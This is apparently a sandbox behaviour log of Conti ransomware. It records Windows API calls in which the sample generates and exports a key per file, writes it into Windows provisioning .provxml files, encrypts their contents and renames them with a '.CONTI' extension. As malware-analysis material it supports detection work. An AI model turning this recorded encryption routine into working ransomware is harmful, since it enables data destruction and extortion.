	[0114.091] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.091] GetProcessHeap () returned 0x1720000
	[0114.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.091] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.092] GetProcessHeap () returned 0x1720000
	[0114.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9240 | out: hHeap=0x1720000) returned 1
	[0114.092] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.092] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b748 | out: phKey=0x6b4b748*=0x17c7bf0) returned 1
	[0114.092] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b74c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4b74c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.092] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.093] GetLastError () returned 0x0
	[0114.093] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=702) returned 1
	[0114.093] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0114.093] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.093] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.093] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.093] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.093] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4b74c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4b74c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.098] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.098] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2be, lpOverlapped=0x0) returned 1
	[0114.098] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2be, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c0) returned 1
	[0114.098] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.098] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2c0, lpOverlapped=0x0) returned 1
	[0114.099] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.099] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4b740*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4b740*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.099] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.099] CloseHandle (hObject=0x3ac) returned 1
	[0114.099] GetProcessHeap () returned 0x1720000
	[0114.099] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.099] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0114.099] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.099] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.100] GetProcessHeap () returned 0x1720000
	[0114.100] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.100] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.100] GetProcessHeap () returned 0x1720000
	[0114.100] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55a28 | out: hHeap=0x1720000) returned 1
	[0114.100] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.100] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c068 | out: phKey=0x6b4c068*=0x17c7bf0) returned 1
	[0114.100] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c06c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4c06c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.101] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.113] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.119] GetLastError () returned 0x0
	[0114.119] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=709) returned 1
	[0114.129] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0114.133] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.134] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.134] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.134] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.134] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4c06c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4c06c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.136] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.136] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2c5, lpOverlapped=0x0) returned 1
	[0114.136] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c5, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0114.136] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.136] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.136] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.136] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4c060*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4c060*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.137] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.137] CloseHandle (hObject=0x3ac) returned 1
	[0114.137] GetProcessHeap () returned 0x1720000
	[0114.137] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.137] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml"
	[0114.137] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.137] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.138] GetProcessHeap () returned 0x1720000
	[0114.138] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.138] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.138] GetProcessHeap () returned 0x1720000
	[0114.138] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0e50 | out: hHeap=0x1720000) returned 1
	[0114.138] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.138] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b500 | out: phKey=0x6b4b500*=0x17c7bf0) returned 1
	[0114.138] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b504, pdwDataLen=0x55ffb34 | out: pbData=0x6b4b504*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.139] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.139] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.139] GetLastError () returned 0x0
	[0114.139] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=714) returned 1
	[0114.139] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0114.139] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.139] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.139] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.139] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.139] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4b504*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4b504*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.145] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.145] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2ca, lpOverlapped=0x0) returned 1
	[0114.146] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2ca, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0114.146] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.146] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.146] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.146] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4b4f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4b4f8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.146] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.146] CloseHandle (hObject=0x3ac) returned 1
	[0114.146] GetProcessHeap () returned 0x1720000
	[0114.146] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.146] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml"
	[0114.146] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.146] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.147] GetProcessHeap () returned 0x1720000
	[0114.147] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.147] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.147] GetProcessHeap () returned 0x1720000
	[0114.147] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9d00 | out: hHeap=0x1720000) returned 1
	[0114.147] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.147] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c2b0 | out: phKey=0x6b4c2b0*=0x17c7bf0) returned 1
	[0114.147] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c2b4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4c2b4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.148] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.148] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.148] GetLastError () returned 0x0
	[0114.148] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=777) returned 1
	[0114.148] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x309
	[0114.149] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.149] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.149] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.149] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.149] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4c2b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4c2b4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.155] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.155] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x309, lpOverlapped=0x0) returned 1
